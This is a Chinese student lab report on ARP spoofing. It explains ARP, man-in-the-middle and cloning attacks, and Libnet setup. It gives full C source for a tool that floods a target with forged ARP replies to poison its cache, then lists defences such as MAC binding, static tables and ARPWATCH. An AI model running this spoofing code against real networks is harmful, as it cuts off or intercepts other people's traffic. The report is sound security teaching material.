Arp欺骗报告

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

网络安全课程设计
——ARP病毒的分析与防御
班级:网络081班
学号:0807100334
姓名:王毅
指导老师:葛志辉
目录
1.实验要求--------------------------------------------------------3
2.实验原理--------------------------------------------------------3
3.实验步骤--------------------------------------------------------5
4.构造ARP数据包-----------------------------------------------9
5.实验结果与分析----------------------------------------------12
6.防范措施-------------------------------------------------------14
一、实验要求
能够深入分析ARP病毒的原理,能够利用winpcap、libnet构造网络数据包,实现ARP病毒,并结合抓包工具设计ARP病毒的防范方案。

二、实验原理
1、ARP工作原理
每台主机都会根据以往在网络中与其他节点的通信,在自己的ARP缓存区(ARP Cache)中建立一个ARP列表,以表示网络中节点IP地址和MAC地址的对应关系。

当源节点需要将一个数据包发送到目标节点时,会首先检查自己ARP列表中是否存在该包中所包含的目标节点IP地址对应的MAC地址。

如果有,则直接将数据包发送到这个MAC地址节点上;如果没有,就向本地网段发起一个ARP请求的广播包,查询此IP地址目标节点对应的MAC地址。

此ARP请求数据包里包括源节点的IP地址、硬件地址,以及目标节点的IP地址。

网络中所有的节点在收到这个ARP请求后,会检查数据包中的目标IP地址是否和自己的IP地址一致。

如果不相同就忽略此数据包;如果相同,该节点首先将源端的MAC地址和IP地址的对应表项添加到自己的ARP列表中。

如果发现ARP表中已经存在该IP地址所对应的MAC地址表项信息,则将其覆盖,然后给源节点发送一个ARP响应数据包,告诉对方自己是它需要查找的MAC地址节点。

源节点在收到这个ARP响应数据包后,将得到的目标节点的IP地址和MAC地址对应表项添加到自己的ARP列表中,并利用此信息开始数据的传输。

如果源节点一直没有收到ARP响应数据包,则表示ARP查询失败。

ARP攻击原理:
ARP攻击就是通过伪造IP地址和MAC地址的映射实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。

2 、ARP欺骗的方式
(1)中间人攻击
这种攻击是网络监听的一种方式。

攻击者进入两台通信的计算机之间,通过某种手段窃取一台机器给另一台机器发送的数据包,然后将数包修改再转发给另一台机器,攻击者对这两台计算机来说是透明的。

具体过程如下。

假设三台计算机A、B、C。

机器C修改A的ARP缓存表,将表中B的IP地址对应
的MAC地址改成C的MAC地址。

当A给B发送数据时,就使用了B的IP地址与C的MAC地址。

使给B发送的数据全部发给了C。

同理修改目标机B的ARP缓存表使A的IP地址对应的MAC地址改成C的MAC地址。

最终A与B之间通信的数据就全部经过C,之后C又把数据发给A和B。

(2 )克隆攻击
克隆攻击是另外一种ARP欺骗的方式。

现在我们已经可以通过硬件或软件工具来修改网络接口的MAC地址,Linux用户甚至只需要用ifconfig命令修改一个参数就能修改。

攻击者通过拒绝服务攻击使目标主机与外界失去联系,然后攻击者将自己的IP和MAC地址改成目标机的IP和MAC地址,这样攻击者的主机就成为和目标机一样的副本。

2、Winpcap:
(1)Winpcap介绍:
winpcap(windows packet capture)是windows平台下一个免费,公共的网络访问系统。

开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。

(2)Winpcap功能介绍:
1> 捕获原始数据包,包括在共享网络上各主机发送/接收的以及相互之间交换的数据
winpcap结构
包;
2> 在数据包发往应用程序之前,按照自定义的规则将某些特殊的数据包过滤掉;
3> 在网络上发送原始的数据包;
4> 收集网络通信过程中的统计信息。

3、Libnet介绍:
Libnet是一个专业网络数据包和发送开发包,它是一个高层次的API函数库,允许开发者构造和发送网络数据包。

Libnet提供了一个对底层网络数据包进行构造修改和发送的高级接口,它隐藏了很多底层细节,省去了很多麻烦,如多路技术,缓冲区管理,网络数据包头信息,字节流顺序问题等。

Libnet主要提供了在IP层和链路层构造网络数据包的功能和一些有用的辅助功能。

使用Libnet可以非常轻松,快捷的构造任何形式的网络数据包开发各种各样的网络安全应用程序,以至于非常复杂的程序【1】。

三、实验步骤
1 安装配置构造网络数据包环境
1.1、 WinPcap的安装
Winpcap为win32应用成程序提供访问网络底层的能力,在使用基于winpcap的抓包工具是需要先安装Winpcap(wireshark会自带安装最新版本),下载
winpcap_4_0_2.exe安装,另外,若需要设计相应的开发,可以下载相应的wpdpcak开发包文件。

并在VC++中添加好相应INCLUDE和LIB。

具体步骤是:
选择工具——>选项——>目录下的INCLUDE FILES和LIBRARY FILES中添加:
1.2、安装Libnet
<2> 安装Libnet
首先将下载的Libnet开发包解压缩,生成一个文件夹Libnet_1.1.2.1 ,把所有文件拷到一个盘符下,在LIBNET下的文件夹win32,双击文件visual C++ 工作空间,如图所示:
此时可以对Libnet进行编译,但在libnet 用到wincrypt API函数,所以必须加上库中文件advapi32.lib。

具体步骤是:
选择:工程——>设置——>连接:在对象/苦模块中加入(wsock32.lib是windows中需要掉要其他网络函数所必须加入的):
从编译信息可以看出没有任何错误,证明编译通过:
libnet.lib。

( 如果编译不成功可能是因为VC++对64位的不兼容,需要升级SDK为PSDK)具体步骤为:
1.3安装PSDK:
在官网上下载PSDK相关的文件,应该有十七个,其中包括16个PSDK-FULL.CAB 文件和一个EXE文件,在执行EXE后会生成一个PSDK-FULL.BAT和一个EXTRACT.EXE文件,此时需要到命令行中执行PSDK-FULL.BAT,便可以一次性将16个CAB解压(如果是自己手动解压,注意要将所有的解压文件放入同一个文件夹下,同时要注意解压的层次。

否则会报错),如图:
此时会看到TEMP1文件加下安装执行文件(安装前,需要先到STEUP文件夹下执行PXDK-X86.MSI(不同位数主机执行不同 )),再进行安装:
文件libnet.dll是动态链接数据库文件,是所有libnet应用程序在windows环境下运行所必须的,如果拷贝至windows——system32目录下,这样当使用Libnet开发包开发程序运行时就可以找到动态链接库libnet.dll,否则在开发是会报错。

文件libnet.lib是库文件,用于开发程序,在用开发包Libnet写程序时要用到。

四. 构造ARP数据包
1 相关步骤:
Libnet程序开发主要有五个步骤,它们分别是:
1、对内存进行初始化。

2、对网络进行初始化。

3、构造各种网络数据包。

4、对数据进行合法性检测。

5、发送网络数据包。

其中第一和第二部均由Libnet_init()函数完成。

(1)初始化:
利用函数libnet_init()进行初始化操作。

它主要是确定libnet的类型,确定网络接口,获取libnet句柄(句柄贯穿整个开发的始终)。

(2)构造数据包:
构造一个数据包,就是构造一系列的协议快,libnet开发为大家提供了各种协议包开发的接口和函数,开发是只需要根据需要调用相应的函数即可,如libnet_build_arp()用于生成一个arp数据包包含十三个参数,其中负载标记等需要自己填写,而
libnet_autobuild_arp()函数用于自动生成一个arp包,只包含硬件地址类型,源/目的地址等六个参数,而libnet_build_ethernet()或libnet_autobuild_ethernet()函数用于构造外层的以太网协议块,同理可以构造IP等其他协议数据块.
(3)数据包的检测和发送
检测最主要是计算校验和(系统自动完成)发送则有libnet_wri()函数完成
(4)销毁libnet_destroy()。

过程如下:
2 构造ARP应答欺骗包源程序
(1)连续ARP攻击:
一直往一台主机发送ARP欺骗包,通过设置发送频率,可以使其ARP缓存一直处于被攻击状态:代码为:
#include "stdafx.h"
#include "win32/libnet.h"
#include "stdio.h"
#define IPADDRMAXSIZE 16
void main(int argc, char** argv)
{
int packet_size;
libnet_t *l=NULL;
libnet_ptag_t protocol_tag;
char *device=NULL;
char error_information[LIBNET_ERRBUF_SIZE];
char *destination_ip_str;
destination_ip_str=(char *)malloc(sizeof(char)*IPADDRMAXSIZE);
printf("请输入攻击的目的主机ip:/n");
scanf("%s",destination_ip_str);
// printf("开始攻击:/n");
// char *source_ip_str="192.168.0.99";
char *source_ip_str;
source_ip_str=(char *)malloc(sizeof(char)*IPADDRMAXSIZE);
printf("请输入要伪装的ip:/n");
scanf("%s",source_ip_str);
printf("开始攻击:/n");
u_char hardware_destination[6]={0x00,0x00,0x00,0x00,0x00,0x00};
u_char hardware_source[6]={0x00,0x24,0x1D,0x2E,0x29,0x6e};
u_long destination_ip;
u_long source_ip;
destination_ip=libnet_name2addr4(l,destination_ip_str,LIBNET_RESOLVE); source_ip=libnet_name2addr4(l,source_ip_str,LIBNET_RESOLVE);
// u_char hardware_source[6];
while(1){
l=libnet_init(LIBNET_LINK_ADV,device,error_information);
u_int16_t type=0x0806;
u_char hardware_destination_eth[6]={0xff,0xff,0xff,0xff,0xff,0xff};
protocol_tag=libnet_build_arp(
ARPHRD_ETHER,
ETHERTYPE_IP,
6,
4,
//ARPOP_REQUEST,
ARPOP_REPLY,
hardware_source,
(u_int8_t *)&source_ip,
hardware_destination,
(u_int8_t *)&destination_ip,
NULL,
0,
l,
0);
protocol_tag=libnet_build_ethernet(
(u_int8_t *)hardware_destination_eth,
(u_int8_t *)hardware_source,
type,
NULL,
0,
l,
0);
packet_size=libnet_write(l);
Sleep(10);
}
libnet_destroy(l);
}
运行时需要在工程设置连接中加入libnet.lib,方法同上加入advapi32.lib一样:
五、实验结果与分析:
(1)、未受攻击时主机的ARP缓存表:
(2)、发起攻击(在此为对主机的攻击):
(3)通过wireshark抓到的数据包截图:
可以看到在不停的像主机发送ARP的应答包,并伪装0.11地址:(4)在此查看主机ARP缓存表:
,所以造成超时:
从上可以看书,主机的所有回显包都发到了00 24 1d 2e 29 6e主机上(本主机并不存在,可以随意伪造,造成网路混乱即可)
六、 ARP欺骗的防范措施
1 MAC地址绑定
MAC地址与交换机绑定。

一台高质量的交换机往往有一个功能就是不允许修改与交换机某个端口绑定的MAC地址。

当确实需要修改时,只能被网络管理者修改。

2 静态缓存表
将ARP缓存表设置成静态,不允许其自动刷新。

网络管理员负责对网络上的每台机器进行登记,记录每台机器的IP/MAC。

这样在发送一个与ARP静态缓存不一致的请求时目
标机将不予理睬。

但这种方法不适合于大型的网络,它需要定期维护ARP表,给管理员造成很大的负担。

3 使用相关软件
1、ARPWATCH
ARPWATCH 是一款用于查看IP地址与其对应的物理地址之间变化的软件。

在用户启动时,ARP就收集本地网络上所有机器的ARP包并生成一个数据库文件来存储MAC/I P。

当开始运行时就会开始监听网络,将捕获的数据包与数据库中的内容进行比较,如果不一样的话就会发出一份EMAL警告,同时记录现场用来帮助追踪追击者的来源。

因此当有一个ARP欺骗发生时,当攻击者试图修改ARP表时ARPWATCH就会发现,并记录下来并发E-mail通网络管理员使其采取相应措施。

2、Anti ARP Sniffer
下载Anti ARP Sniffer软件保护本地计算机正常运行。

同时把此软件设为自动启动,步骤:先把Antiarp.exe生成桌面快捷方式->选"开始"->"程序"->双击"启动"->再把桌面上Antiarp.exe快捷键拷到"启动"中,以保证下次开机自动运行,起到保护的作用。

4 通过重复发送正确的ARP包以清除ARP病毒对ARP缓存造成的影响:
通过观察ARP缓存表的变化和ARP攻击的模式,我发现,ARP要想成功就要反复的发送ARP包,不然在ARP缓存被清除后ARP的攻击也就不存在,这也是为什么一本电脑中了
ARP病毒一会能联网,一会断网的原因,通过控制ARP包发送的平率和间隙达到攻击的目的,在此,我个人认为,如果我们能够用比攻击更快的速度发送正确的ARP包。

便能达到防范ARP的效果:
攻击方时间设定:
防守方时间设定:
可以看出防守方得发包速度是攻击方得3倍,足以使ARP缓存一直处于正确状态:
抓包和截图:
但是此方法有很大弊端,由于这个方法本身就是基于ARP攻击的,虽然发送的是正确的A RP包,但是由于考虑ARP病毒发送的频率,需要是防范的一方也设置相应的ARP包发送时间间隔,这个间隔一般很短,使得网络中充实着大量的ARP包,而且很多是无用的,虽然达到了更正ARP缓存的目的,但是却可能造成网络中ARP包过多,浪费网络资源等现象。

但对于网管
七、实验总结
1、试验中遇到的问题:
在本次实验中。

大大小小的问题遇到了很多,主要大的问题有几个:
(1)、其中在生成libnet.dll和libnet.lib阶段,由于VC版本对WINPCAP3.0以上的版本兼容不是很好。

而且对64为一部兼容。

但若果将WINPCAP降至3.0一下版本,WIRESHARK抓包工具也不能正常运行,因此需要将SDK升级为PSDK,同时在VC++中的工具选项中应将PSDK对应的INCLUDE放在前面,入图:
这是因为在各自的INCLUDE中包含有相同的头文件,但定义不同,系统在调用时,已找到的第一个为准,若不这样做。

编译是也会报同样地错误。

(2)、的libnet_ifaddrlist()函数对网卡进行了定义,由于电脑网卡比较久远和其中定义的不同,需要自己进行添加代码,如图:
(3)、在抓包阶段,数据包已经发送成功,到用抓包工具去不能抓到数据包,后面发现由于一直以主机做实验,在抓包是,网卡重叠发生混乱,最后不得不关掉蓄力网卡才抓包成功。

2、实验心得:
通过这次实验,清除了winpcap和libnet的底层工作原理和提供的服务,学会了通过调用不同的动态链接和函数实现伪造不同的协议包,达到网络入侵的目的,同时在网络安全方面也有了更多的认识,懂得如何使用静态MAC映射,软件防御相应的ARP攻击。

同时。

通过自己的设想变成实现了对APR映射表的保护。

相关文档
最新文档